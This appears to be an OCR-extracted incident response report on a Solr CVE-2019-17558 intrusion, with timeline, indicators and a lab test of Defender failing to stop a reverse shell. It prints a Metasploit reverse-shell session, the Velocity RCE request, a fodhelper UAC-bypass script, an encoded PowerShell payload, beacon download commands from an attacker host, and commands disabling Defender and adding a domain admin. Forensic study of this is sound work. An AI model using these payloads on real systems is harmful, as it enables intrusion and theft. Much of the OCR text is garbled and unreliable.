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Executive Summary

Introduction

CSIS was contacted Wednesday 12th of
October 2022 at around 15.00 UTC by a
company as they had been victim to a cyber
incident.

After the company had debriefed CSIS about
the situation, it was decided that CSIS
should assist with the Incident Response
investigation and was given following tasks:

- Take lead on the Incident Response

- Conduct an in-depth investigation and
root course analysis

- Provide security recommendations

This analysis has been anonymized which
means |IP addresses,
usernames, etc. have been changed.

domain names,

Executive Summary

Using different hacker techniques, malware,
and tools the perpetrator(s) obtained
domain ADMIN1)
privileges and compromised at least five
different servers

administrator  (user:

- HOST1
- HOST2
- HOST3
- HOST4
- HOST5

Attack start

The initial compromise occurred on the DAY
1

First unauthorized logins

The first sign of malicious activity was
observed at DAY 1 (+1H).

Initial access vector

The perpetrator(s) gained initial access to
the network via exploitation of the
CVE-2019-17558 vulnerability using a
publicly available exploit against the Solr
webserver. Solr was installed on three of the
servers (HOST1, HOST2, and HOST3) exposed
directly to the Internet. After successful
exploitation of this vulnerability, the
perpetrator(s) gained access to the
aforementioned servers with NT
Authority\System privileges.

Data exfiltrated

CSIS did not find any signs of exfiltration of
data.

Attack type

Yes, this was a targeted attack, and the
motive seems to be the ability to obtain
persistence in the company network.
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ATT&CK Matrix
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Abused assets Techniques 10C's
ID Description ID Description ID Description
AD1 Apache Solr T1203 Exploitation for Client Execution 1001 update exe
AD2 Powershell T1090.002 Proxy: External Proxy 1002 Issasc.exe
AD3 Logon credentials T1053 Scheduled Task/Job 1003 lapx.exe
AD4 Registry T1046 Network Service Discovery 1004 SharpHound.exe
AD5 Network share T1482 Domain Trust Discovery 1005 PVEFIindADUser.exe
T1068 Exploitation for Privilege Escalation 1006 sharpwmi.exe
T1555 Credentials from Password Stores 1007 fscan.exe
T1543 Create or Modify System Process 1008 iox.exe
T1135 Network Share Discovery 1009 ncx.exe
T1562 Impair Defenses 1010 0803.exe
1011 su.exe

1012 34B6B2B.exe




Indicators of Compromise (I0Cs)
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Incident Analysis

The following chapter contains the results from the Incident Response investigation

_

Perpetrator(s) successfully exploited vulnerability CVE-2019-17558 that allows remote code execution and
launched “whoami.exe” on each server.

DAY 1

DAY 1 (+1H) Downloaded Golang executable which contains Cobalt Strike downloader

DAY 1 (+1H) The AV detected the downloaded file and deleted it

Using “fscan.exe” the perpetrator executes a network scan against the subnet and stores the results in a file

DAY 1 (+2H)
“out.txt” to lately do lateral movement.

DAY 1 (+2H) The perpetrator uploads “IOX.exe” that is used to redirect TCP connections.

DAY 1 (+3H) Running BloodHound against the active directory through the previously established proxy.

DAY 21 The perpetrator managed to start the process “Issasc.exe” on “HOST1” with “Administrator” privileges.

DAY 21 ) . - .

(+1H) Using exploit CVE-2019-0803 the perpetrator elevated local privileges to “NT Authority\System”

DAY 21 Cobalt Strike was used to download PVEFindADUser and save as C:

(+2H) \Windows\System32\PVEFindADUser.exe

DAY 22 Files “su.exe” and “autorun.bat” were copied using the same technique Uses “sharpwmi.exe” and pass-the-
hash to execute commands and “su.exe” for privilege escalation

DAY 23

(+10H) Create a new service on the server by making changes in the Registry to create persistence.



EDR Bypass

Microsoft Defender for Endpoints Behavior in Apache Solr Exploit

In a recent incident response (IR) case involving Apache Solr, Microsoft Defender for Endpoints
(MDE) detected an Apache Solr exploitation but failed to stop the reverse shell generated by the
HTTP command injection to the Java process handling the Apache Solr service. To better
understand the behavior of MDE in these situations, a test was conducted using Apache Solr
6.6.3 on Windows 10 and Metasploit (solrvelocityrce) on Kali.

The test involved installing Apache Solr with standard settings, and then exploiting Apache Solr
to execute a script that spawned a reverse shell. Upon executing the exploit, a new Java process
(PID 1108) was spawned, followed by a prompt (PID 4220) that created another Java process (PID
4364) and another prompt (PID 5892).

MDE then detected the exploit and attempted to remediate the situation by terminating the
parent process to the prompt, but the child process with the reverse shell remained running.

Setup

The test contained:
Windows 10 Apacke Solr 6.6.3
Kali Metasploit (solrvelocityrce)

First we installed Apache Solr with standard settings

solr - Shortcut

and opened the firewall



Protocols and ports

Sl Protocol type: TCP

Protocol number:

o
14)

Local port: Specffic Ports

8983

Example: 80, 443, 5000-5010
Remote port: Al Ports

The Exploit

From Metasploit we exploited Apache Solr to execute a script that spawned a reverse shell.

msf6 exploit( ) > show options
Module options (exploit/multi/http/solr_velocity_rce):
Name Current Setting Required Description

SolrRocks no Solr password
no A proxy chain of format type:host:port[,type:host:port][ ...]

192.168.109.171 yes The target host(s), see https://github.com/rapid7 tasploit-framework/wiki/Using-Metaspl

oit
The target port (TCP)

SRVHOST .0.0. 3 The local host or network interface to listen on. This must be an address on the

chine or 0.0.0.0 to listen on all addresses.
SRVPORT The local port to listen on.
SSL Negotiate SSL/TLS for outgoing connections
SSLCert Path to a custom SSL certificate (default is randomly generated)
TARGETURI Path to Solr
USERNAME solr Solr username
VHOST HTTP server virtual host

Payload options (java/meterpreter/reverse_tcp):

Name Current Setting Required Description

LHOST 192.168.109.149 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name

0 Java (in-




Started reverse TCP handler on 192.168.109.149:4444

Found Apache Solr 6.6.3

0S version is Windows Server 2016 amd64 10.0
Found core(s): gettingstarted
Found Velocity Response Writer in use by core 'gettingstarted'

params.resource.loader.enabled for core 'gettingstarted’

Targeting core 'gettingstarted’
params.resource.loader.enabled is true for core 'gettingstarted’
Using URL: http://192.168.109.149:8080/

Sending stage (58829 bytes) to 192.168.109.171
Meterpreter session 1 opened (192.168.109.149:4444 — 192.168.109.171:52351) at 2022-12-16 03:07:40 -0500

Server stopped.

meterpreter > shell
Process 1 created.
Channel 1 created.

Microsoft Windows [Version 10.0.14393]

(c) 2016 Microsoft Corporation. All rights reserved.

C:\Users\Administrator\Desktop\solr-6.6.3\server>j]

Microsoft Defender Behavior

is set to true.

Execute of Exploit, spawns a new java process (PID 1108) which spans a prompt (PID 4220)

1™ ProcessHacker.exe
B conhost.exe
V&) java.exe
Vo) java.exe
¥ conhost.exe

6904
7800
5744
1108
4220

0.58
0.01 106 B/s
29.09 925.73 kB...

19.57 MB
7.07 M8
651.43 MB
7213 MB
5.99 MB

WIN10-SC-DEFOI\CSIS
WIN10-SC-DEFOI\CSIS
WIN10-SC-DEFOI\CSIS
WIN10-SC-DEFOI\CSIS
WIN10-SC-DEFOI\CSIS

Process Hacker

Console Window Host
Java(TM) Platform SE binary
Java(TM) Platform SE binary
Console Window Host

The prompt (PID 4220) the spawn a new java process (PID 4364) which spawns a new prompt

(PID 5892)

1™ ProcessHacker.exe
B conhost.exe
V) Java.exe
V&) Java.exe
B conhost.exe
V4 java.exe
B conhost.exe

6904
7800
5744
1108
4220
4364
5892

280 98.29 kB/s

0.04
6.97 706.36 kB...
56 B/s

Then MDE reacts on the Meterpreter.B

19.81 MB
7.07 MB
651.43 MB
72,27 MB
5.99 MB
441 M8
5.99 MB

WIN10-SC-DEFOI\CSIS
WIN10-SC-DEFOI\CSIS
WIN10-SC-DEFOI\CSIS
WIN10-SC-DEFOI\CSIS
WIN10-SC-DEFOI\CSIS
WIN10-SC-DEFOI\CSIS
WIN10-SC-DEFOI\CSIS

Process Hacker

Console Window Host
Java(TM) Platform SE binary
Java(TM) Platform SE binary
Console Window Host
Java(TM) Platform SE binary
Console Window Host



O Threat blocked Severe

Detected: BehaviorWin32/Meterpreter.8
Status: Removed
A threat or app was removed from this device.

Date:
Details: This program is dangerous and executes commands from an
attacker,

Affected items:
behavior: process: C:\Program Files\Java\jre1.8.0_351\bin\java.exe,
pid:1108:100824850447415

behavior: process: C:\Program Files\Java\jre1.8.0_351\bin\java.exe,
pid:5744:100824850447415

process: pid:1108,ProcessStart:133159171921739505

process: pid:5744 ProcessStart:133159171103425007

Learn more

Actions Vv
Then MDE start terminating Processes
1™ processHacker.exe 6904 437 444B/s 2014 MB  WIN10-SC-DEFOINCSIS  Process Hacker
B conhost.exe 7800 707MB  WIN10-SC-DEFOINCSIS  Console Window Host
v | &) java.exe 5744 6.23kB/s 652.51 MB WIN10-SC-DEFOI\CSIS  Java(TM) Platform SE binary
v &) java.exe 4364 693 698.66kB.. 72.32MB WIN10-SC-DEFOINCSIS  Java(TM) Platform SE binary
B conhost.exe 5892 599MB  WIN10-SC-DEFOINCSIS  Console Window Host
1™ processHacker.exe 6904 1.80 2011 MB  WIN10-SC-DEFOINCSIS  Process Hacker
v | &) java.exe 4364 3145 64573kB.. 80.35MB WIN10-SC-DEFOI\CSIS  Java(TM) Platform SE binary
¥ conhost.exe 5892 599MB WIN10-SC-DEFOINCSIS  Console Window Host

MDE detects the Exploit and tries to remediate by terminate the parent process to the prompt
but leaves the child process with the reverse shell be

'™ processHacker.exe 6904 0.83 2011 MB  WIN10-SC-DEFOINCSIS  Process Hacker
v | &) java.exe 4364 003 80.35MB  WIN10-SC-DEFOINCSIS  Java(TM) Platform SE binary
B conhost.exe 5892 5.99MB WIN10-SC-DEFOINCSIS  Console Window Host



CSIS

Second Test just to be sure

2 files Pwn.cmd and Pwn.ps1

Proccess

Pwn.cmd execute Pwn.ps1

#UAC Bypass
function FodhelperBypass(){
Param (

[String]$program = 'cmd.exe' #default

#Create registry structure

"HKCU:\Software\Classes\ms-settings\Shell\Open\command" -
Force
-Path "HKCU:\Software\Classes\ms-
settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
-Path "HKCU:\Software\Classes\ms-
settings\Shell\Open\command" -Name "(default)" -Value $program -Force

#Perform the bypass
"C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

#Remove registry structure
3
"HKCU:\Software\Classes\ms-settings\" -Recurse -Force

}
FodhelperBypass

Pwn.cmd process tree

6076: cmd.exe (user)
1176: conhost.exe (user)




2192: powershell.exe (user)
5032: fodhelper.exe (administrator) - UAC Evasion Exploit

6576: fodhelper.exe (administrator) - UAC Evasion Exploit

448: cmd.exe (system)
1676: conhost.exe (system)

v &X cmd.exe 6076
&YX conhost.exe 1176
LN powershell.exe 2192

v B¥ cmd.exe 6076

BN conhost.exe 1176 0.1 Virus & threat protection

v ¥ powershell.exe 2192

Threats found
1 | fodhelper.exe s rnonts Nafe

v B cmd.exe 6076 & Windows Security
B conhost.exe 1176 020

v ¥ powershell.exe Virus & threat protection

v B cmd.exe Threats found
EN¥ conhost.exe 1676 A dirrn Nefon

Virus & threat protection

v B cmd.exe Threats found

BN conhost.exe

v B¥ cmd.exe 442 Threats found
BY conhost.exe 1676 0.03 Microsoft Defender Antivirus fc




Example in our framework DTMG

With this CMD script we will show that the child process keeps running after Virus/Threat
detection.

pwn2_1.cmd is a Base64 encrypted payload

| pwn2_1 - Notepad - O X
Jp P

File Edit Format View Help

@echo off

PowerShell.exe -encodedcommand
JAB3AG8AbwBWACAAPQAgACIAWgBXAE4AbWBiADMAeABOAFOAWABRAGCATAAZAEEAOQBIAGWAZWAXAFQAeQBGAFEAS
gBTAFYAQQBRAFYAQgBiAE4AARgBAAFEAVWBSAGCAMQBOAEMAaABRAFgAaQBrADMAUQAWAEBACABOADMAMABrAFIAVQ
BsAEQAUQBWAEKAJABVADEAUgBCAFQAawBSAEIAVQBrAFEAJABRAFUANQBVAFMAVgBaAEOAVQBSAFYAVABMAFYAUgB
GAFUAMQBRAHQAUgBrAGWATQBSAFMARQBrAFMAQWBOAEKASWBpAEKAZWBQAGKAQgAYAGEAWABKADEAYwWBSADUABQBh
AFcAeABsAEQAUQBwWAHUAYgAzZAFIAbABAECARgBrAEQAUQBVADBAIgANAAOATABhAHMAZAAgADBAIAAtAGOAbWBPA
G4AKAAOAECAZQBOACOAUgBhAGAAZABVAGBAKQASACAATWAUAGIAYQBOACCAKQANAACATABMAGBAbIWAgADBATABbAF
MAeQBzAHQAZQBtAC4AVAB1AHgAdAAUAEUAbgBjAGBAZABPAGAAZWBdADOAOgBVAFQARgA4ACAARWB1AHQAUWBOAHI
AaQBuAGCcAKABbAFMAeQBzAHQAZQBtAC4AQwBVAGAAdgB1AHIAJABdADOAOgBGAHIAbWBtAEIAYQBZzAGUANgABAFMA
dAByAGkAbgBnACgAJAB3AGEAbWBWACKAKQAgAABACEBTAGUAdAATAEMAbIWBUAHQAZQBUAHQATAAKAGEACIWBKACAAL
QBWAGEAbAB1AGUATIAAKAGYAbwBVAABACgBTAHQAYQBYAHQALQBQAHIAbWB jAGUACWBZACAAIgBjAGOAZAAUAGUAA
B1ACIAIAAIAC8AawAgACQAYQBZAGQAIgANAACA

When Decrypted it creates a file with the payload Eicar (a test palyoad every protection software
will detect)).

echo|set /p="X50!P%%@AP[4\PZX54(P*)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" >
virus.file
notepad

The playload process

v & cmd.exe 8888
B conhost.exe 3912
LY powershell.exe 6740

The detection and termination of the playload process.

The remained child process.



v cmd.exe 100
B conhost.exe 872
notepad.exe 4340




Initial Access (patient-0)

The perpetrator(s) gained initial access to the network via a successful exploitation of the
CVE-2019-17558 vulnerability on three Solr webservers: “HOST1”, “HOST2", and “HOST3" that
allowed the perpetrator(s) to execute any command on the compromised servers.

2022-09-21 ©5:53:56.549 INFO (qtp942518407-20) [c:sitecore_fxm_master_index s:shardl r:core_nodel x:sitecore_fxm_master_index_shardl_replica2] o.a.s

.c.S.Request [sitecore_fxm_master_index_shardl_replica2] webapp=/solr path=/select params={q=1&v.template=custom&v.template.custom=#set($x%3D" ' )+#se
t($rt%30$x.class.forName( " java.lang.Runtime'))+#set($chr¥3D$x.class.forName( " java.lang.Character'))+#set($str%3D$x.class.forName( ' java.lang.String'))

+#set($exx3D$rt.getRuntime().exec(”
oChars($out.read #enddwt=velocit

*))+$ex.waitFor()+#set($out%3D$ex.getInputStream())+#foreach($i+in+[1..%out.available()])$str.valueOf($chr.t
hits=0 status=0 QTime=109

Previous image shows an example of how the perpetrator(s) was able successfully execute the
program “whoami.exe” on the vulnerable webserver “HOST3".

Event info

Event

Event time
Action type

Additional
information

User

Mitre
Techniques

Created file

Entities

Java.exe created process whoami.exe and its main image is
validly signed

ValidCodeSignature

T1553.002: Code Signing

2 NT AUTHORITY\system

T15

o

3.002: Code Signing

whoami.exe

253 cmd.exe > £33 Java.exe > [) whoami.exe



= »

Java.exe created process whoami.exe and its main image Is validly signed

Java.exe process performed System Owner/User Discovery by invoking

java exe established an inbound non-application layer protocol commun

The external remote service process Java.exe was connected from -##f:1

The same exploitation was performed from the same IP address on HOST1 and HOST2.

-y 'mm = -

Timeline Security mmendatior

»
£
5

osT2)8

:
F

Timeline srity mmendat

Following is a description of CVE-2019-17558:



7. [CVE-2019-17558] RCE via Velocity template by @_S00pY

Target Solr version: 5.0 - 8.3

Requirements: none

Step 1: Set “params.resource.loader.enabled" as true for the current collection via config API.

/[solr/test/config
Host: 127.0.0.1:8983
Content-Type: application/json

Conter | . 259

"update-queryresponsewriter”: {

"name"

"class": "solr.VelocityResponseWriter",
“"template.base.dir": "",
"solr.resource.loader.enabled”: "true",

"params.resource.loader.enabled”: "true"

Step 2: Trigger the RCE by sending a malicious velocity template in parameters

GET /solr/test/select?

q=1&wt=velocity&v.template=custom&v.template.custom=%23set ($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.
Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang
.String%27))+%23set($ex=$rt.getRuntime().exec(%271d%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23for
each($i+in+[1..%out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1

Response:

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8

Content-Length: 56
uid=8983(solr) gid=8983(solr) groups=8983(solr)
An exploit for this vulnerability is publicly available on GitHub:

https://github.com/AleWong/Apache-Solr-RCE-via-Velocity-template/blob/master/
apachesolrexec.py

Further, the source IP-address: used by the perpetrator(s) to exploit Solr servers appears on
AbuselPDB (https://www.abuseipdb.com/) and VirusTotal (https://virustotal.com):




IP Abuse Reports for

This IP address has been reported a total of 5 times from 2 distinct sources

report was 3 months ago

Old Reports: The most recent abuse report for this IP address is from 3 months ago. It is possible that this IP is no longer involved in abusive activities

Reporter Date Comment Categories

= JCB 12 Jul 2022 - - [12/Jul/2022:09:02:06 +0300] "GET Web App Attack
flogin.action HTTP/1.1" 404 196

= lisFlower 05 Jul 2022 Unauthorized connection attempt detected from IP addr

ess to port 7001 [J] =

B3 lrisFlower 04 Jul 2022 Unauthorized connection attempt detected from IP addr ===

ess to port 7001 [J] =

B= lrisFlower 04 Jul 2022 Unauthorized connection attempt detected from IP addr ==

ess to port 7001 [J] ==

B= lisFlower 04 Jul 2022 Unauthorized connection attempt detected from IP addr

ess to port 7001 [J] =

AbuselPDB »

Check an IP Address, Domain Name, or Subnet

e.g. 185.113.228.254, microsoft.com, or 5.188.10.0/24

was found in our database!

This IP was reported 5 times. Confidence of Abuse is 0%:

0%

ISP DigitalOcean LLC

Usage Type Data Center/Web Hosting/Transit
Domain Name digitalocean.com

Country = Singapore

City Singapore, Singapore

was first reported on July 4th 2022, and the most recent



1 @ 1 security vendor flagged this IP address as malicious

( )
AS 14061 ( DIGITALOCEAN-ASN )

X Community Score

DETECTION DETAILS RELATIONS COMMUNITY

Security Vendors' Analysis

Cyble @ Malicious

Acronis ) Clean

The Perpetrator(s) exploited the vulnerability in the Solr server by downloading an executable

file from the URL http://X.X.X.X:1579/1ssasc.exe to the webserver HOST3 via
PowerShell and saving it as G:\solr-6.6

.3\server\lib\1lssasc.exe.

upX.Cla . ]a

ssasc.exe+-OutFile+G:\solr-6.6.3\server\lib\lssasc.exe

-c+iwr+http: /1

Once the perpetrator(s) downloaded the file: Lssasc.exe, they we able to gain full control of
the webserver HOSTS3.



Persistence

The perpetrator(s) used the following Registry keys to set up persistence:

aE— HOSTS
O HOSTY,
O HOSTY
L] HOSTY)
O HOST3
—— HOST3

The perpetrator(s) also used this command to create a scheduled task on HOST3:

cmd.exe /C schtasks /create

cmd.exe /C schtasks /create

s

n Microsoft-Update-sc /sc Hourly

Mic
n MICro

S
>

oft-Update-sc /sc Hourly

mo 1 /tr C:;/ProgramData/Oracle/java/lssasc.ex

mo 1 /tr C:/ProgramData/Oracle/java/lIssasc.ex




Privilege Escalation

After the successful exploitation of the Solr server, the perpetrator(s) obtained the same
privileges as the the Solr server was running with (NT Authority\System).

As the attack developed, the domain account (ADMIN1) was compromised, which has local
admin privilege for all servers within the domain.



Lateral Movement

Using the vulnerability CVE-2019-17558 on the three Solr webservers HOST1, HOST2 and
HOST3, the perpetrator(s) gained access to them and were able to develop the attack further.

Lateral movement and activities on server HOST3

After successful exploitation of the Solr vulnerability (seelnitial Access (patient-0)), the
perpetrator(s) obtained full control of the server HOST3.

Following the exploitation, the perpetrator(s) downloaded the Cobalt Strike beacon using the
following command:

powershell -c http://X.X.X.X:21579/1ssasc.exe -OutFile G:\solr-6.

6.3\server\lib\1lssasc.exe

The investigation showed that this Cobalt Strike beacon had successfully downloaded a
backdoor which was both executed as a part of the “lssasc.exe” process and spawned a
“rundll32.exe” process:

.'u sz Accept

At 2022 -XX-XX XX:XX:XX, an additional malicious file was downloaded using the following
command:

powershell -c http://X.X.X.X:21579/1apx.exe -OutFile G:\solr-6.6.
3\server\lib\lapx.exe

At 2022 -XX-XX XX:XX:XX the perpetrator(s) executed the following command to disable
built-in and/or third-party antivirus software on the server:

cmd.exe /C reg add “HKEY LOCAL MACHINE\SOFTWARE\Policies\Microsoft\Win

Defender” /v “DisableAntiSpyware” /d 1 /t REG _DWORD




3

e Regi

WosTy
ST
wosTy
HosTy
HOST3
HOST)
HosTY
HOST3
HOSTY
WoSTS
HOST3
WosT
wosTy
HOST
HosTY
WosTy
oST
WosTY
HOSTI
HOST3
wosTy
HOST3
HOST3
WosT

HOST3)
HOST3
HOSTY
HOST3
HOSTY
HOSTY
HOSTY)
HOST3)
HOST3
HOST3
HOST3
HOSTY

Using the BloodHound tool the perpetrator(s) scanned the local network to
possible Active Directory attack paths.

hence making proceeding ck easier for

Later the perpetrator(s) executed a set of PowerShell commands to disable several components

of Microsoft Defend erpetrator(s):

nivescanning Strue

(;)

The perpetrator(s) obtained persistence on the server by creating the service with a misleading
name (“javaaw” - similar to the default name of the main binary of the Java Runtime) and
modifying th

Using “fscan” (see Malware and Tools) the perpetrator(s) scanned the local network for
reachable hosts and their open ports.
petrator
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as
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map and quantify



+ [l AcvonType

Ir-6.6.3\server\ 0220921094655 _B)

Filecreated

2921034655_Blocdrzund.2ip

a.zip

ANz eve

The perpetrator(s) modified Windows Registry so that the OS would store plain text credentials
in memory. This way, these credentials could be eventually extracted from the memory and be
used later to develop the attack further.

HOST3

HOSTY)

ProcessCrested

reg 3dd HKLM\SYS

Regstryvateset

AKLM\SYSTEM\Currents

dasy e Ak HKLM\SYSTEM) Cutr

da637993¢ . - reg 304 HKLM\SYSTEM\CurrentControlset|\Comtrol\Se

ProcessCreated CAWindows\System32\omd.exe emd.exe /C rey

ctrol\secusityProvider

arcl\SecurityProviders\WOugest /

£G_DWORD /1 /f

tyProviders\WOIgest /v Usel

viders\WOIgest /v

° t REG_OWORD /d

g 20 HELM\SYSTEM\ CurrentControlSe! curtyProviders\WDigest /

496380012 Windows\System32 emd.exe /C reg add HKLM\SYSTEM\CurrentControlSet\Controf\SecurityProv Oigest

26380011 c ws\System32 reg add HKLM\SYSTEM! ontrolset\Control\SecurityProviders\WDigest /v UseLogon

ProcessCreated rog 3dd HKLM\SYSTE trotset\Control\SecurityProviders\WDigest /v UseLogor

da6330011 /C rog add HKLM\SYSTEM\CurrentControlSet\Controf\SecurityProviders\WDigest /
reg 3dd HKLM\SYSTE rentControlset\Control\Sex roviders\WD v

reg 3dd HKL

emd.exe /C reg add HKLM\SYSTEM\CurrentControlSet\Controf\Security

roviders\WDige:
I\SecurityProviders\WDIg

HOST3
HOST2)
8 2678082 HOST2)

Processcrested md.ese c miz\cma. exe cmdexe /C et time.
onty system rocesscrested a2 eve c rndis2 eve
rocesscrested c tsascane

Timestamp (UTC) [l DeviceName
1:09. HOST3
2:01 HOST3)
2:01 HOST3
201 HOST3
201 HOST3
jz0L HOSTY
2:01
= HOST3
- HOST3

HOST3
HOST3
48 HOST3)
48, HOST3)
= HOST3
t6, ST
P HOST3
b-48. 1 HOSTS,
48 HOST3
48 HOST3
48 HOST3
48. HOST3
48 HOST3)
P:48.
e HOST3.
= HOST3.
a8 HOST3
b HOSTY)
b HOST3
b HOST3
p-48. HOST3
P48 HOST3
a HOST3
; f: HOST3.
5 HOST3
b s HOST3
p:4s. HOSTY)
p-as HOST3
p-as. HOST3)

At 2022 -XX-XX

essCommandLine
FileCreated

ProcessCreated cmd.exe /C SharpHound.exe

ProcessCreated conhost.exe conhost.exe Ox4 1
ProcessCreated SharpHound.exe SharpHound.exe

mageLoaded SharpHound.exe

ConnectionSuccess "389
mageloaded cryptdil.di

ConnectionSuccess "3268
ConnectionSuccess "aas
ConnectionSuccess 445
ConnectionSuccess 45
ConnectionSuccess "aas
ConnectionSuccess "aas
ConnectionSuccess a5
ConnectionSuccess "4
ConnectionSuccess "4
ConnectionSuccess K
ConnectionSuccess "aas
ConnectionSuccess "aas
ConnectionSuccess "aas
ConnectionSuccess

ConnectionSuccess "aas
ConnectionSuccess a4

ConnectionSuccess
ConnectionSuccess
ConnectionSuccess
ConnectionSuccess
ConnectionSuccess
ConnectionSuccess
ImageLoaded samiib.dil
ConnectionSuccess
ConnectionSuccess
ConnectionSuccess
ConnectionSuccess
ConnectionSuccess
ConnectionSuccess
ConnectionSuccess
ConnectionSuccess

ConnectionSuccess

ConnectionSuccess

XX XX : XX lateral movement started to “HOST4".

InitiatingProce

sc.exe
Issasc.exe
cmd.exe
cmd.exe
sharphound. exe
SharpHound.exe
sharphound. exe
SharpHound.exe
SharpHound.exe
SharpHound.exe
SharpHound.exe
SharpHound. exe
SharpHound.exe
SharpHound. exe
SharpHound.exe
SharpHound.exe
SharpHound.exe
SharpHound.exe
SharpHound.exe
SharpHound.exe
SharpHound.exe
SharpHound.exe
SharpHound.exe
SharpHound.exe
st
SharpHound.exe

rpHound. exe

SharpHound. exe
SharpHound.exe
SharpHound.exe
sharphound.exe
SharpHound.exe
SharpHound. exe
SharpHound. exe
SharpHound.exe
SharpHound.exe
SharpHound. exe
SharpHound. exe
SharpHound.exe
SharpHound.exe
SharpHound.exe



40:19.36232612
42:46.30895512
12:46.97820912
2:47.19033842
42:52.55803942

:30.3028395Z

31.24335092
:31.30172362

31.34458192
:36.46909322
36.46910092
:36.67584012
:37.9612805Z
:49.41376182

51.73246632
:51.73246632
51.73246632

HOST4)
HOST4;
HOST4
HOST4
HOST3)
HOST4)
HOST4)
HOST4,

weeNa
NOST))
HOSTS)
HOSTS)
HOSTS)
HOSTS)
HOSTS
HOSTS;

ProcessCreated
FileCreated

Issasc.exe

FileCreated Issasc.exe

AntivirusReport Issasc.exe

FileModified Issasc.exe
OtherAlertRelatedActivity Issasc.exe
ConnectionSuccess

AntivirusDetection Issasc.exe
FileDeleted Issasc.exe
FileDeleted Issasc.exe

FileCreated
AntivirusReport
ProcessCreated
ImageLoaded
RegistryValueDeleted
RegistryValueDeleted
ConnectionSuccess
da638011€
ConnectionSuccess
AntivirusDetectionActionType
AntivirusDetectionActionType
da638011€
da638011€
da638011€
AntivirusDetection
AntivirusDetection
AntivirusDetection

Admins” ADMIN1 /add /domain

HOSTA
HOST)
13 HOSTY.
HOSTA
HOSTA
HOST)
HOST1
HOSTA
HOSTA
HOST1.
HOSTA
HOST1.
HOSTA
HOSTA
HOSTA
HOST)
HOSTA
HOSTA
3. HOSTH
3% HOST)
17 W nosTy

executed.

priviliges.

nta

MOST) nta

HOST1.

8:05. HOST3

B:05. HosTy

p:31.

p:s2. HOST3)
29 HOSTY)
:29, HOSTY

nt authority

system

nAccepted

33BSCONS-F198-4AC

ProcessCreated
ProcessCreated
FileCreated
FileCreated
ProcessCreated
ImageLoaded

Issasc.exe
Issasc.exe
Issasc.exe
Issasc.exe

Issasc.exe

Issasc.exe
Issasc.exe
Issasc.exe
Issasc.exe
Issasc.exe
Issasc.exe
Issasc.exe
Issasc.exe

cmd.exe
conhost.exe
Issasc.exe
Issasc.exe
Issasc.exe
Issasc.exe

m32\cmd.exe
kages\Plugins\Issasc.exe

C:\Packages\Plugins\lIssasc.exe
C:\Packages\Plugins

C:\Packages\Plugins\Issasc.exe
C:\Packages\Plugins\lssasc.exe

C:\Packages\Plugins
C:\Packages\Plugins
C:\Packages\Plugins

Ej FolderPath
\! \CS\inetpub\temp\Issasc.exe
C:\inetpub\temp

C:\inetpub\temp\Issasc.exe “Issasc.exe”
C:\inetpub\temp)\Issasc.exe

C:\inetpub\temp

C:\inetpub\temp\Issasc.exe
C:\inetpub\templ\Issasc.exe
C:\inetpub\temp
C:\inetpub\temp
C:\inetpub\temp
C:\inetpub\temp
C:\inetpub\temp
C:\inetpub\temp

At 2022 -XX-XX XX:XX:XX the perpetrator(s) downloaded SharpWmi (seeSharpwWmi) and
saved it as C:\Windows\Temp\sharpwmi.exe.
The tool was then used to execute arbitrary commands on “HOSTS”.

At 2022 -XX-XX XX:XX:XX the perpetrator(s) attempted to create a new user and then add it
to the “Domain Admins” group using the following command:

cmd.exe /C net user ADMIN1 P@ssl23 /add /domain && net group “Domain

Lateral movement and activities on server “HOST1"

Initially the server was compromised by exploitation of the Solr vulnerability CVE-2019-17558. It

appears that all the files downloaded via PowerShell were detected by Microsoft Defender.
atng (10 RSt At OB Accetieme | wertid B actiontype ____ Blviename  Blrodersth  Broescommandine ___________ Bremoter _ Hhemoteror 8]

3637

62241/ncx.exe -Outfile G/\solr-6.6.3\server\l|

Later the perpetrator(s) uses the Cobalt Strike beacon, transferred through a network share
from HOST3. It was saved as C:\ProgramData\Oracle\Java\lssasc.exe and then

C:\Windows\System32\cmd.exe cmd.exe /C dir\\

C
C:\Windows\System32\conhost.exe conhost.exe Oxfffffff -ForceVvl
C:\ProgramData\Oracle\Java\Issasc.exe
\\ \C$\ProgramData\Oracle\Java\lssasc.exe
\\ \C$\ProgramData\Oracle\Java\lssasc.exe Issasc.exe
' \C$\ProgramData\Oracle\Java\lssasc.exe

The perpetrator(s) managed to start the process 1ssasc.exe on HOST1 with HOST1\ADMIN1's



at authority system ProcessCreated rundii32.exe C:\Windows\System32\rundii32.exe rundii32.exe

ConnectionSuccess 15668
- ProcessCreated Issasc.exe C:\Programata\Oracle\Java\lssasc.exe “Issasc.exe”
mageLoaded ssasc exe C:\ProgramData\Oracle\Java\lssasc.exe

RegistryValueDeleted
RegistryValueDeleted

ConnectionSuccess Sem
ProcessCreated cmd.exe C:\Windows\System32\cmd.exe cmd.exe /C ipconfig /all

ProcessCreated emd.exe C:\Windows\System32\cmd. exe emd.exe /C C:/ProgramData/Ora

ProcessCreated conhost.exe conhost.exe Oxd

ProcessCreated Issascexe Issasc.exe

mandLine

26:18 MOST) ProcessCreated cmd.exe C:\Windows\System32\cmd.exe cmd.exe /C ipconfig /all

o ProcessCreated cmd.exe C:\Windows\System32\cmd.exe cmd.exe /C type SAPPDATA%\Mic
HOSTY FileCreated 0803.exe C:\Windows\System32\0803.exe

HOSTY, FileCreated cmd C:\Windows\System32\.cmd

T ProcessCreated cmd.exe C:\Windows\System32\cmd.exe cmd.exe /C 0803.exe cmd *.cmd"
HOSTA ProcessCreated conhost.exe C:\Windows\System32\conhost.exe conhost.exe Ox4

HosT ProcessCreated 0803.exe C:\Windows\System32\0803.exe 0803.exe cmd ".cmd"”

HOSTY Imageloaded 0803.exe C:\Windows\System32\0803.exe

nosty ProcessCreated 0803.exe C:\Windows\System32\0803.exe DDEServer

HOSTA ProcessCreated 0803.exe C:\Windows\System32\0803.exe DDEClient

HoSTY RegistryValueSet

